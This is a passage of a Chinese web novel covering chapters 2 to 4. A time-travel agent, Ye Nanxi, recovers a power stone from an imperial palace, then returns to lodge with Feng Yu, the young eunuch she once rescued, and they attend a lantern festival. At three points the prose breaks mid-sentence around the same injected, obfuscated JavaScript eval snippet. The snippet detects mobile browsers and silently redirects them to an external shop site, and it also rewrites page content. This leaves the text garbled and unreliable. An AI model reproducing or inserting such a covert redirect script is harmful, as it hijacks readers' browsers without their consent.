《宦逢三春》 2. 002 有关贞嫔与人私通的事,叶南晞早有打算。 当下这个时代发生的种种事件对她而言都是历史,通过系统翻阅历史记录,她得知贞嫔会在半个月内被永安帝亲眼撞破奸情。 既然只是半个月的时间差,稍微动动手脚,把事件提前一下也不算严重违规。于是趁着执行任务的同时,她偷偷在宫里散布谣言,将贞嫔的事儿暗戳戳地捅了出去。 宫里有严令,禁止宫人捕风捉影、乱嚼舌根。但规矩是规矩,现实是现实。再加上追逐八卦是人类天性,更何况这些人平日里没有其他娱乐,这点儿乐子简直成了满宫众人的狂欢。 短短几个时辰,消息传到了永安帝耳朵里。 永安帝为了维护君威,当即下令搜查贞嫔寝宫。因为事发突然,贞嫔毫无准备,除了男子的贴身之物外,她与奸夫通信的字条也被一道翻了出来。 贞嫔死罪,连带着身边与她助纣为虐的人全部受到清算,其中便有太监张平。 为了给自己争取一线生机,张平干脆出卖贞嫔,将所有罪责全部推到贞嫔身上,将自己塑造为一位饱受贞嫔淫威欺压,在深宫中艰难求生的忠奴。 他跪在永安帝面前,痛哭流涕的哭喊道:“陛下,奴婢是被逼的呀!奴婢在宫里侍奉主子四十余年,旁的奴婢不知道,奴婢只知道要对主子尽忠,主子的话奴婢不能不听。可是奴婢心里煎熬啊,贞嫔娘娘为了将这件事隐瞒下来,甚至逼着奴婢将撞见她丑事的小太监处死。奴婢这双手是伺候主子们的,何曾杀过人呐。” 永安帝怒不可遏的拍案而起:“竟为此事还搭上了人命?” 张平惊恐万状的在地上缩成一团:“不不……或许还没死,人此刻正在西北角的那排耳房里,或许还有气儿。” 永安帝是位仁君。 他做太子做了十八年,足到了三十岁才登基。他与他父亲不同,他父亲靖徽帝是位喜欢在战场挥刀策马的勇武君主,曾三次御驾亲征呼裕部,最终将大燕的疆域扩大到延兹河岸,战功赫赫。每次出征,都是由他这位当时的太子坐镇后方。 后方与前线不同,前线只管冲杀,后方却是要从百姓手中筹粮、征兵。劳民伤财四个字没有人比他的体会更深。因而当他继位后,他选择休养生息,以前朝仁宗为标榜。 想做仁君光有“仁”还不够,还要有“德”。 一听会有无辜的性命或许折在这种事上,永安帝立刻派人前去查探。 很快,侍卫将冯钰直接提到永安帝面前。永安帝见冯钰毫无病容,身体一派寻常,不禁啧啧称奇。 永安帝身边的掌印太监崔晟最懂得体察主子心意,这时便笑着附和道:“陛下,奴婢曾听闻有些人命数不同寻常,命里有吉星高照,遇事向来逢凶化吉、遇难成祥,身边的人也能跟着沾上光,您别看他表面上没什么,实际上可是个宝贝呐。” 各地官员为了讨永安帝的欢喜,年年谎报祥瑞,如今这祥瑞就在眼前,崔晟没理由放过这个顺手牵羊的机会。 永安帝果然露出喜色:“这么说,他倒是个祥瑞?”他转头看向冯钰:“既是个祥瑞,留在司苑局打理园子可惜了,去内书堂罢,来日伴朕身侧,也将你这好福气匀些给朕。” 冯钰一开始被吓,后来又被惊,现在又彻底被这天降皇恩砸懵,直至崔晟在旁边提醒:“傻小子,还不快谢恩?” 冯钰这才恍如大梦初醒,身子一颤,猛地扑倒在地上:“奴婢多谢陛下。” 短短一日,十二时辰,冯钰体验了一把从地狱到天堂的滋味。他从必死的处境中一步登天,成了宫里人人津津乐道的“祥瑞”。 什么“祥瑞”,都是假的,真正把他从绝境中拉出来的是那位不知姓名的姑姑。可是他不敢贸然把那位姑姑的存在说出来,因为他记得姑姑临别时曾反复叮嘱过他不许提这事儿,他不敢违逆。 等自己这边安稳下来再去偷偷寻她好了,既然是宫里人,总能再见面。 他就这样入了内书堂,同时又想到自己能拥有这番前途,当中也有崔晟的一份力,于是又转而去到崔晟面前,恭恭敬敬的给他见了个礼。 崔晟见他年纪虽小,却懂得人情世故,很会来事儿,于是很快定了主意:“你倒是个可造之材,没让咱家失望,既如此,往后唤我一声干爹罢。” 这下连靠山都有了,堪称喜上加喜。 冯钰倏的抬起头,眼里溢满光彩,他诚恳又激动的朗声道:“是,干爹。” 冯钰快步行走在长街上,步履生风,急不可耐地往尚宫局走去。他满心热切,仿佛揣着一兜子宝贝,恨不能立刻捧到那位姑姑的面前。 他知道在宫里过日子不容易,如今自己有了出息,肯定会回报她的,往后他们彼此扶持,不怕将来没有好日子。然而当他寻到尚宫局里的司酝司门口,却被人告知从未有过那么一个人。 他焦急地抬手比划:“怎么会没有呢?她大概这么高,身形清瘦,长得很好看,眼尾这个地方还有一颗小痣。” 对面的宫女仍是摇头:“真的没有。” 怎么会呢? 他像是被兜头浇了一盆凉水,心头的那簇火苗被硬生生地浇灭。他恍恍惚惚地往回走,走到半路忽然想到什么。他环顾四周,寻了处背人的角落,伸手探入怀中,作势要去掏能量棒的包装纸。 能量棒他已经吃了,泛着光亮的包装纸被他叠了几叠,好以整暇地揣进了胸前的口袋里,然而此时此刻无论他怎么摸、怎么翻,口袋里始终是空空荡荡,什么也没有。 他彻底慌了,他茫然地愣在原地,怀疑一切是不是自己的幻觉,又或者不是幻觉,而是自己彻底疯了。 其实这件事很好解释,那支能量棒的包装是特制的,在拆开后会在短时间内自动降解,化成粉尘。因为穿越者守则里提到一点——不可将随身物品遗留在与其时代不符合的时空中。 这恰好也是叶南晞此行的原因,上一位穿越者就是因为不慎将一颗备用萤石遗落在过去的时空,才促成了她此次的行程。 萤石是穿越过程中的能量来源,没有这东西便意味着将受困于当前的时代。叶南晞也有一颗,就嵌在她腕上的异能环里。 别看这东西看着小小一颗,比一克拉的钻石大不了多少,其威力却足够支撑一个核电站的运转。 当初原主遗失它的时候是五年前,五年前没有时空裂隙,叶南晞只得就近选择五年后。 时空裂隙类似于往来时空的出入口,出入口的位置会随着时空的演变发生变化。 此时此刻,那颗萤石因为会发光的特性,不知被谁偶然发现,当作“祥瑞”上贡给了永安帝,收进了永安帝的内库。 去内库拿东西并不算难,因为是皇帝的私库,无需经历层层审核,只要能说动拿钥匙的人开门便可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309188|152288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶南晞三言两语哄得那人开了门,顺利找到了萤石。拿到萤石后,她甚至连内库的门都没出,就地穿越回了原时空。 任务圆满完成,叶南晞交了萤石,准备开始尽情享受自己的十五天假期。 时空管理局大多方面让人无力吐槽,但有一项福利十分优厚,就是任务完成后有十五天的默认带薪假期。 叶南晞乘坐飞行器回家,打算到家先美美地睡上一觉。然而假期刚过第二天,管理局那头就打来了电话。 叶南晞躺在床上,慵懒地喊了声:“希瑞,接电话。” 随着“叮咚”提示音响起,耳畔响起了同事林念的声音。林念进管理局刚刚八个月,是叶南晞的后辈,也是叶南晞的助手。 小姑娘是个软绵绵的性子,说起话来声音也是软绵绵的:“南晞姐,很抱歉打扰你喔,我知道你在休假,但是管理局这边有点小状况,可能需要你回来一趟。” 叶南晞嘴里咬着吸管:“什么状况?” 林念回答:“你之前穿越的时间段有小幅度的震荡,成因不明,有个时间点上的大事件可能会发生改变,会影响到往后的历史发展。” 时空震荡不是小事,偶有发生。由于每位时空旅行者在往来穿越时,多多少少都会在各个时间线上留下痕迹,继而改变历史进程。 轻微的改变并无大碍,然而时间久了,积少成多,时空震荡就会随之产生。 而维护时空的稳定也是特派员们的职责之一。 叶南晞连忙坐直了身体,手指在面前的虚拟面板上划拉了几下,打开了摄像头,林念的形象立刻出现在眼前。 叶南晞看着林念表情严肃:“你仔细说说,是什么大事件?” 林念垂眼去看显示屏:“是这样的,原本应该登基当皇帝的太子萧绰可能会在万寿节的宫宴上被害死,凶手是皇后,皇后想让自己的亲生儿子二皇子萧绎继位。所以万一萧绰真的死了,那历史的改变就太大了,时空会面临崩塌。” “害死?具体怎么害?” “时空震荡,AI目前预测不到,你可以穿越后再启动系统,测算具体细节。总之,一定要保证太子萧绰活下来。” 叶南晞苦着脸抓了抓头发:“啊——好烦呐,为什么一定要派我去?我的休假才刚开始。” 林念抬起头,通过显示屏看向叶南晞:“其他几位A级特派员都在出任务,而且你刚刚从那个时空段回来,比较熟悉那边的环境。另外,咱上司说了,这次任务成功后,会替你打报告晋升军衔,你很快就是上将了。” 时空管理局是国家军政机关,在职的特派员都是现役军官。叶南晞虽然资历尚浅,但靠着出色的任务完成率,已经是组织内少数几名高级军官之一。 叶南晞睁大眼睛:“真的假的?大老王什么时候变得这么爽快了,别不是有什么坑吧?” 林念瑟缩的笑了一下:“最近的时空裂隙在事件出现的一个月前,得委屈你在那个时空多生活一个月。” 叶南晞翻了个白眼:“切,我就知道。” 虽说只有一个月,可是对于习惯了现代化高科技生活的人,回到古代堪比流放,乍一过去连个落脚的地方都没有,一切都得从零开始。 可是一面是时空震荡,一面又是晋升军衔,压力与诱惑的双重撕扯,叶南晞最终沉沉地吐了口气,手掌用力拍在床垫上:“好!我这就出发!” 3. 003 随着一道白光闪现,叶南晞回到了燕朝永安二十年,恰好是上次穿越的五年以后。 考虑到距离事件发生还有一个月,她在设定降落地点时避开了皇宫,将目标设定在京城的城区内。 换好装扮行走在街道上,叶南晞溜溜达达,漫无目的往前走。忽然,脑袋里鬼使神差地窜入一个念头,她想起了上次穿越时搭救过的小太监,冯钰。 他应该还活着吧? 他如果活着,就算是自己在这个时代唯一的熟人。有熟人好办事啊,只是不知道对方还记不记得自己。算了,不想那么多了,先去问问再说。 叶南晞沿着系统提供的地图走到皇宫凤阳门外。这是个偏门,宫人们出入皇宫都走这里。叶南晞随手挡了个看着和气的小太监,向他提起了冯钰这个名字。 那小太监一听顿时绽开一抹笑容,饶有兴致地问道:“你运气好,算是问对人了,我和他在同一个所里当差。你是他什么人呐?” 叶南晞想了想,把话说得半真半假:“我是他同乡,五年前和他见过一面,今日来了京城,想再见见。”说完,她见对方不言不语的只冲她微笑,于是立刻心领神会的从包里取出一小块银子递给对方:“多谢了。” 小太监得了银子爽快的一点头:“你在这儿等着,我进去给你找他去。” 皇宫很大,走去哪儿都要花些时间。 小太监走了半晌,好不容易跨进了司礼监的大门,迎面便正好看见冯钰捧着一沓奏本往外走。他拦下冯钰:“你这是要去哪儿?” 冯钰抬头看向他:“去把这些烧掉。” 烧奏本是司礼监里的处理过期文书奏本的惯用方式,把不要的东西整理出来,直接扔去炉子里烧掉。 小太监冲他挑眉一笑:“给我罢,你出宫去见个人,就在凤阳门外,一出去就能看见。” 冯钰一脸茫然:“谁啊?” “说是你同乡。” 冯钰一摇头,作势要往前迈步:“我没有认识的同乡,怕是你传错话了,人家要找的是与我同名的另一个人。” 全京城的太监足够三万余,冯钰这名字也说不上有多特别,赶上撞名认错人也是有的。 那小太监冲着他背影补了一句:“她说她五年前见过你。” 冯钰脚步一顿,恍惚间,一个猜测应运而生,他倏的回过头:“那人是男是女?” “女的。”小太监抿嘴一笑:“长得还挺俏。” 冯钰匆忙将手里的东西往对方怀里一推,边往前跑边回头急急道:“劳烦你了,等我回来再好好谢你。” 冯钰一路小跑着出了宫,他胸口浸满了滚烫的激流,拍打着他的神经,催赶着他的脚步。 是她吗?会是她吗? 另一头的叶南晞心里也在忐忑,她一边在担心那小太监有没有替自己把话传到,一边又在想万一冯钰不记得自己了该怎么办。好在随着一道匆忙的人影从人群中显现出来,所有思绪全部尘埃落定。 叶南晞远远地望着他,五年不见,冯钰已从稚气孩童长成了俊朗少年。他身着一袭青袍,腰背挺得笔直,因为过于清瘦的缘故,脸上的轮廓格外分明。深邃的眼窝,挺直的鼻梁,满脸斯斯文文的书卷气让他看着不像是太监,更像是位内敛儒雅的读书人。 叶南晞没想到他竟出落得这么好,见冯钰走到自己面前了,她笑着与他打趣:“呦,已经长这么高了,还记得我吗?” 冯钰的胸口在剧烈地起伏,他越是想镇定下来,情绪就越是激动。及至气息喘匀了些,他珍而重之的唤了一声:“姑姑。” 他个头足比叶南晞高了一头,叶南晞看他时得仰着脑袋:“你这些年还好吧?” 冯钰抿着嘴点了点头。 叶南晞言简意赅地把心里想的事儿说了出来:“这次找你是有件事拜托你。我想在京城里待一阵子,除了你,我不认识别人,你有没有办法帮我找个暂时容身的地方?” 冯钰心里一喜,鼓足勇气开口道:“去我家罢,我在宫外有一处宅子。”说完,他又像是想到了什么,泛着光的眸子里多了一丝羞怯:“如果你不嫌弃的话。” 叶南晞没想到这次任务开头开的这样顺利,笑吟吟的拍了下冯钰的肩膀:“你怎么那么厉害啊,连宅子都有了,什么时候置办的?” 冯钰羞涩的低下头:“去年。” 叶南晞怀疑是自己这种现代人的做派惹他不适,连忙笑着找补:“怎么啦?拍你一下就害羞啦,你小时候我还抱过你呢。” 冯钰顿时红了脸。他皮肤白,又尤其的细嫩,红晕落在上面好似羊脂玉下透出的一缕霞光。 “不是。”他抿了抿嘴:“跟我来罢。” 宅子在宁德巷中,地处城北,离皇宫很近。他是司礼监的随堂太监,除非轮到他在宫里当职,否则按规矩该在宫外居住。 他当时想着反正只住自己一人,因而贪图便利,选了这处小院,统共只有小小的两间屋。当时看着挺好,如今叶南晞一来,他只恨自己当时太小家子气,没选间更气派的宅子。 这厢进了屋,冯钰来不及招待叶南晞,先匆匆忙忙地将主屋腾了出来,将自己的床铺塞进了一旁的杂物间。然后沏好茶水,端到叶南晞面前。 隔着桌子相对而坐,原本还你一言我一语闲聊的二人忽然没了话。一股难以言述的气氛弥散开来,说不清是尴尬还是暧昧。 冯钰摸了摸后脖颈,抬眼看向叶南晞,迟疑着问道:“姑姑,你到底是从哪儿来?为什么当年我们分别后,我就再也找不到你了?” 叶南晞笑了笑:“你找我啦?” 冯钰垂眸看向地面,羞羞答答的一点头:“嗯,我不知道你的名字,只能一个个挨着去问,问了很久也没问到结果。”他复而抬眼对上叶南晞的目光:“所有人都说没有你这个人,这到底是怎么回事?你不是在宫里吗?是什么时候出的宫?” 叶南晞早已想好了措辞,既然要求人帮忙,起码得给人家个说法。这个说法不能太荒诞,要不然显得自己不真诚;也不能太写实,会容易被误认为是疯子。于是在她的一番考量下,她一脸认真的说道:“其实我不是宫女,我是仙女。” “啊?”冯钰瞪大眼睛。 叶南晞继续一本正经的胡说八道:“我叫叶南晞,上次你之所以遇见我,是因为我要下凡找个东西,而那东西恰好在皇宫,遇见你纯属偶然。我当时看你快死了,就给你喂了颗仙丹,把你救了回来,你还记得吧?” 冯钰怔怔的一点头。 看着冯钰傻乎乎的表情,叶南晞抿嘴忍笑:“所以你得帮我保密身份,不能让这事儿传出去,否则上头会找我麻烦的,我说不准就当不成仙女了。” 冯钰眨巴了几下眼睛,像是受到了极大的震撼。难怪啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309189|152288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪,他在心底喟叹,难怪宫里的人都没有见过她,难怪她什么踪迹都没有留下,这不是仙法又是什么? 幽幽的呼出一口凉气,他无比郑重的点了点头:“你放心,我不说,我替你保密。那你……”他想了想:“你要吃香烛吗?我去给你买。” 香烛? 叶南晞愣了一下,紧接着皱起眉头,砸吧了一下嘴:“吃什么香烛,我是仙女又不是女鬼,我要吃饭,饿死了。” 冯钰一听这话连忙起身,当真像供奉仙人似的伺候起她来:“好好,你稍等一下,我这就去做饭。” 冯钰匆忙站起身,一边挽起袖子,一边走去厨房做饭。 古代的炉子都是土灶,光是生火就得废一番功夫。叶南晞不好意思只让冯钰一个人忙碌,于是凑到他身边,一把帮他拉风匣子,一边听他讲述自己当年离开后发生的事情。 叶南晞当时只是想救冯钰一命,没想到举手之劳竟让他撞了个大运,让他这个无足轻重的小太监在皇帝面前露了脸,命运就此有了转折。 无心插柳柳成荫,叶南晞也替他高兴。她蹲在地上,用一种很欣慰的目光打量着冯钰。 冯钰正在挽着袖子切菜,余光察觉到叶南晞的目光,他回头瞥了一眼,四目相对的瞬间,他脸颊又显出一抹红晕:“怎么了?” 叶南晞笑微微的开了口:“看你人不大,会的倒是不少,你这年纪的孩子在我们那边还在上学呢。” “上学?”他低下头若有所思:“我也在上学,我虽然已经在司礼监当了职,但是内书堂时不时还是要去的。不过……”冯钰手下动作一顿,抬头冲叶南晞笑了一下:“我今年都十五了,哪里还是孩子。” 叶南晞单手托腮:“也是,你们这里的男孩子到了十五该说亲了吧。” 冯钰的笑容敛去三分,眼中闪过一丝黯然:“是。” “那你呢?你有喜欢的姑娘吗?” 冯钰的动作慢了下来,他用很迟缓语气说道:“姑姑,你忘了,我是太监。” 叶南晞一拍脑门儿,她还真把这茬忘了。但这不能怪她,4202年的人类文明发展简直到了癫狂的地步,人类这个词的概念已经趋近泛概念化,除了原生人以外,还有仿生人、生化人以及各种人类的衍生类目。 没有裆下那东西算什么,哪怕身体整个没了,但只要将大脑泡在生物溶液里,再连上信息采集器,构建出全息虚拟投影,照样能做陪伴型伴侣,提供情绪价值。 叶南晞颇为愧疚的开口道:“对不起啊,我是不是冒犯到你了?” 冯钰摇了摇头。 厨房里忽然安静下来,耳旁只能听见锅里的水沸声与灶膛里“呼呼”的烧火声。 气氛变得尴尬,叶南晞心里有些不是滋味。 她是个爽直的性子,心里有话总想立刻说出来。此刻的沉默成了一根刺,正在潜移默化地挑动着她的神经。 短暂的沉思过后,她站起身,走到冯钰身边,坦然地正视着他的侧脸:“在我们那里,人是多种多样的,有时候甚至根本不拿性别做区分,所以你在我眼里就是普通人,一点都不特殊,你也不必将自己特殊看待,更不必觉得自卑,不值得,人的灵魂不该受困于那一点小小的残缺上。” 冯钰手里的动作彻底停了,他懵懵懂懂回过头,沉吟半晌,艰难的挤出一句:“我这样的……也能成仙?” 4. 004 两碗热汤面很快端上桌。 叶南晞这一代人是吃预制菜长大的。在快节奏的生活里,新人类似乎已经进化掉了进食的过程。有时候如果时间太紧张,她连预制菜都懒得吃,直接用一根能量棒就敷衍了肠胃。 而像她这样的人绝不是个例,在越来越多的家用厨房沦为了摆设后,厨房这个概念就渐渐消失在了人们的生活中。 周围会做饭的人寥寥无几,更极少有人会把吃饭当回事儿。因而当品尝到冯钰亲手做的这碗面时,叶南晞忍不住拍案叫绝,认为这简直是人间美味。 她一边吃一边连连称赞,冯钰被她这副态度弄得有些不好意思,想说些谦虚的言辞,又怕显得虚伪,思来想去,他红着脸低头小声道:“姑姑若喜欢,我以后每天都给你做。” “那倒不必。”叶南晞放下碗筷:“嘴养刁了等回去该难受了。” 冯钰笑容蓦地敛去。 对啊,她是仙女,终究会回到天上。他忽然就落寞起来,抬眼偷偷瞥了叶南晞一眼,他试探性的问道:“你打算在这里待多久?” 叶南晞不瞒他:“一个月。” 还好,还有一个月。 冯钰垂眸点了点头,紧接着又听叶南晞说道:“你怎么不问我这次是来做什么?” 冯钰抬眼对上她的目光,眨巴了几下眼睛,眨出满眼的天真单纯:“我不敢问,我怕问了犯忌讳,你是仙女嘛。” 叶南晞这辈子油腻男见了不少,这么纯情的小少年她还是头次遇到。她越看冯钰越觉得可爱,忍不住捏了一下他的脸蛋:“小傻瓜,真可爱。” 冯钰匆忙捂住被她捏过的地方,眼睛睁得浑圆,不是疼,只是惊诧于这个动作。这种动作在他看来只存在于彼此亲近的人之间,而自己是个太监,寻常人都嫌太监身上脏,连碰一下都不愿意。叶南晞倒是毫不介怀,竟还夸自己可爱。 可爱?自己哪里可爱? 冯钰羞得满脸通红,他站起身,作势要去收拾桌上的碗筷。 叶南晞连忙拦住他:“我来,哪能让做饭的人再洗碗,更何况我还得借住一阵子,有些事儿你正好教教我,我不大会用你们这里的东西。” 冯钰拗不过她,只好让她来做,自己则在一旁将要用的东西都准备好。 吃过饭,天色渐渐暗了下来。本该寂静的夜里,一阵阵的喧闹声却如浪潮般涌进叶南晞耳朵里。 叶南晞站在门前的屋檐下,回头问屋里正在擦桌子的冯钰:“外面这是在做什么?怎么这么热闹?” 冯钰将抹布浸入水盆,抬头看她:“今日是上巳节,朝廷解了宵禁,外面在办灯会。” 叶南晞一听这话,眼睛亮了起来:“灯会?好玩吗?” 冯钰不知该如何回答,他没去看过灯会,因为这种场合多是年轻男女结伴而行,当中隐含着一层约会的含义在。自己是太监,又是独身一个人,实在没有理由去凑这个热闹。 可是此刻见叶南晞一副兴致高昂的样子,他不禁受到感染,轻声问道:“你想去吗?” 叶南晞毫不委婉:“想!” 冯钰笑了一下:“好,等我换件衣裳。” 片刻功夫,二人结伴出了门。 街上到处都是行人,来来往往络绎不绝,沿街的商铺也如白日一般热闹,没有一家提前打烊。头顶上一盏盏的花灯沿着街道铺展开来,恍若金色的河流,满眼皆是灯火辉煌的人间盛景。 叶南晞起初还觉得在古代生活堪比流放,如今看来远比自己想象的要好。眼看街上的人越来越多,她怕跟丢了冯钰,索性伸手挽住他的胳膊。 叶南晞身体靠近的刹那,冯钰的身体僵了一下,他回过头看着叶南晞,虽然表面平静,可心底早已掀起惊涛。自净身入宫后,从没有哪位女子离他这样近过。 心跳骤然加快,心尖儿过电似的酥酥麻麻,一股奇异又美好的感受席卷了他的整片胸膛。 叶南晞不知道自己寻常的动作对冯钰有这样大的触动,她笑盈盈的对上冯钰的目光:“我抓紧你,省得等会儿被人群冲散。” 冯钰没出声,只是轻轻一点头。 有冯钰领路,叶南晞开始安安心心地欣赏花灯,她左看右看,看到好的就拍拍冯钰,招呼着他一起去瞧。 很快,她发现前方的街角处聚集了一堆人,是处猜灯谜的小摊,五文钱猜一次,猜对了可以得一个灯笼。 眼前的一切对于叶南晞而言都无比新鲜,她突破人群挤到最前面,然后低头开始翻口袋,作势要掏钱,还没等她把钱掏出来,便听闻身侧的冯钰开了口:“掌柜,给。” 叶南晞顺势抬起头:“我有钱,不用你帮我付。” 冯钰笑着一摇头:“没关系。” 摊主是位中年男子,他和颜悦色地打开谜语册子,大致扫了一眼,朗声道:“这位姑娘请听好,谜面是——阳春白日未见花,千里江山万里纱。姑娘若是有了答案,便请写在这纸上。” 叶南晞没想到这一上来难度就这么高,她想了片刻,始终没想出答案,周围有围观者开始起哄。 “想不出来了罢,五文钱的花灯可没那么好拿喔。” “嘿嘿,白扔了五文钱。” 叶南晞一蹙眉头,刚想回头让他们闭嘴,却听耳畔传来冯钰温柔的声音:“是雪。” 叶南晞回头对上冯钰的目光。暖黄色的灯火将他的眉眼映照得格外清晰,他长眉浓秀,眼睛的形状很美好,目光也很柔和。睫毛掩映了他的眼睛,他的眼里闪烁着金色的辉光:“阳春白日未见花,暗示不是真正的春天,千里江山万里纱形容的是白雪覆盖山川。” 叶南晞抿嘴一笑:“还是你厉害。”说完,她刚想提笔写字,一滴墨便先一步从笔尖落了下来,洇开一大团墨迹。 她用不惯毛笔,严谨点来说,是所有笔都用不惯。她的时代从来都靠键盘打字,笔这种东西早就变成了一种兴趣收藏。 “我来罢。”冯钰见她为难,主动接过毛笔,三五笔间便写好了那个“雪”。字迹娟秀,转折处刚劲有力。 这种笔迹叶南晞只在字帖上见过。 叶南晞一脸崇拜的看着冯钰将纸条递给摊主。 摊主接过一瞧,笑着朗声道:“正是雪字,姑娘是否还要继续?” 叶南晞一抬眉毛:“还能继续?” 摊主解释道:“如果连着答对五道题,便可带走上面那只最大的花灯。” 叶南晞循着摊主所指的方向向上望去,果然看见最高处挂着一只做工十分繁复精美的花灯,八面的花灯,每一面都有精心手绘的五彩图案。 叶南晞回头看了眼冯钰,冯钰微笑着一点头。 叶南晞兴冲冲的对摊主大声道:“继续!” 接下来的三道题冯钰很快给出答案,很快到了最后一题。摊主笑着翻动书页:“请姑娘与郎君仔细听题。尺素难托相思意,盈盈秋水诉离愁。纵有柔肠千千结,终化朱砂一抹红。打一物。” 叶南晞毫无头绪,转头看向冯钰。 冯钰低头沉思片刻,忽而勾唇浅笑,柔声说道:“尺素难托相思意,这里的尺素指的是书信,即使用书信也难以表达心中的相思之情;盈盈秋水诉离愁,则形容水的丰盈,意味着眼中因思念而盈满泪水;纵有柔肠千千结,意指愁绪深重且复杂;终化朱砂一抹红,朱砂常常被用来形容红色,而化朱砂暗示思念最终凝聚为一个具体的象征物,谜底岂不是红豆?” 摊主朗笑,顺手合上书页:“好好好,这位郎君当真才思敏捷,令人佩服,我这就把那花灯给你们取下来。” 叶南晞与冯钰相视一笑。 叶南晞凑近他耳边小声道:“真厉害!” 冯钰脸一红,羞羞答答的看向一旁:“没有,只是运气好。” 摊主痛痛快快的架起梯子,登高去给叶南晞摘花灯。就在花灯即将交到叶南晞手上时,旁侧里忽然出现两道身影,是一纨绔携着一妆衣着鲜亮的女子挤进人群。 那纨绔一副嚣张做派,张口便道:“老板,这盏花灯我要了。” 摊主赔着笑容:“这位公子,这盏花灯是猜谜的彩头,且已被这位郎君与这位姑娘赢了去,实在是不凑巧的很。” 纨绔一脸不屑,掏出一小块白银放在桌上:“这银子买你五盏灯都绰绰有余,你卖给我,不比白搭出去当作彩头强?”说着,伸出手,伸手去抢花灯。 若仅是花灯,叶南晞或许懒得计较,可这花灯是冯钰替自己赢回来的,她不能无视冯钰的努力,将他的心意拱手相让。 叶南晞伸出手,作势要把花灯从纨绔手中抢过来:“这花灯是我们赢得,凭什么被你说买就买了?” 那纨绔也不肯退让,又见二人都是一副文弱气,在侧身躲避的同时,抬起另一只手,动作蛮横的推了叶南晞一把。 叶南晞后退着踉跄两步,正好撞在冯钰的胸膛上。 冯钰慌忙接住叶南晞,语气急切的问道:“没事吧?” 叶南晞顿时被那纨绔的行为激怒,她顾不得回答冯钰的话,稳住身子抬起头,她睁大眼睛瞪着那纨绔:“规则是一开始就定好的,按道理这花灯已经是我们的了,你为了一盏小小花灯不惜与女人动粗抢劫,还要不要脸?” 这话说的既直白又尖锐。 冯钰站在她身后,偷偷扯了扯她的袖口,小声在她耳边道:“算了,别争了,我们再去看看别的,兴许有你更喜欢的。” “不行!”叶南晞愤愤然的一甩袖子:“这家伙明摆着欺负我们,凭什么要我们退让?” 冯钰眼底闪过一丝惊慌:“姑姑……” 话音未落,那纨绔忽然从冯钰脸上察觉出了什么,眼看叶南晞不打算罢手,于是颇为玩味的咂巴了一下嘴,唇边牵出一丝促狭的笑容:“瞧这位郎君面白无须的模样,该不会是个阉人?阉人身边的女子能是什么好货色?” 那纨绔说出这话的时候更多是为了羞辱叶南晞,未曾想正好戳中冯钰的痛处。冯钰脸色一白,连带着目光也散乱了。 他知道太监没尊严,少不得要承受羞辱,可是他不想把不堪的一面暴露在叶南晞面前。惶恐的后退一步,他下意识的想逃,逃到没有人看得到他的地方去。 可是叶南晞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309190|152288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却一把捞起他的手,紧紧地攥在手心里。与此同时,趁着纨绔洋洋得意时,她铆足力气,用另一只手狠狠甩了对方一记耳光。 “啪”的一声脆响过后,纨绔捂着脸,竟是愣在了原地。 这个时代的女人向来追求个贤良淑德,温婉可人,礼教与道德早已形成一道坚不可摧的壁垒,将人性围困其中,约束成他们想要的样子。 那纨绔之所以敢如此猖狂,也正是以为叶南晞与当下女子一般,脸皮薄,好欺负,一味只知道逆来顺受,哪知道会做出如此惊人的举动。 而叶南晞的惊人之举远不止如此,她满肚子火气无处发泄,此刻便趁势鼓着嗓子呵斥道:“王八蛋!再胡说八道,小心我打断你的腿!” 她这话绝不是虚张声势。她来自星际时代,那个时代的人类大多已经经历过数次基因优化,女性的身体素质水平并不与男性相差太多。再加上她经过特殊训练,顺着骨骼的结构进行简单的“拆解”动作几乎是一眨眼就能完成的事。 那纨绔回过神来,骂骂咧咧的朝着叶南晞扑过来。周围的围观者见势不对,纷纷围上前劝架。原本有序的人群顿时乱成了一锅粥。 冯钰从未遭遇过这种场面,一时间心慌意乱。他伸出手臂,本能的想挡在叶南晞身前,然而还未等他来的及动作,忽然感觉腰上一紧,是叶南晞搂住了他,反向将他护在怀中。 二人趁乱挤出人群,叶南晞拉着冯钰的手,飞奔向前,二人穿梭在人群中,好似两条逆流而上的鱼。 冯钰目光一直盯在叶南晞身上,两旁的景色全没有了,茫茫天地间只剩下一个叶南晞。他听见她在笑,她的发梢随着跑动在要腰间摇摆,以及她握住自己的那只手,温热而柔软,是他从未体验过的触感。 他不知道叶南晞要往何处去,他脑袋里毫无杂念,只剩下一个念头,就是跟着叶南晞。仿佛依附在叶南晞身上的一缕游魂。叶南晞存在的地方,便是他的安魂之处。 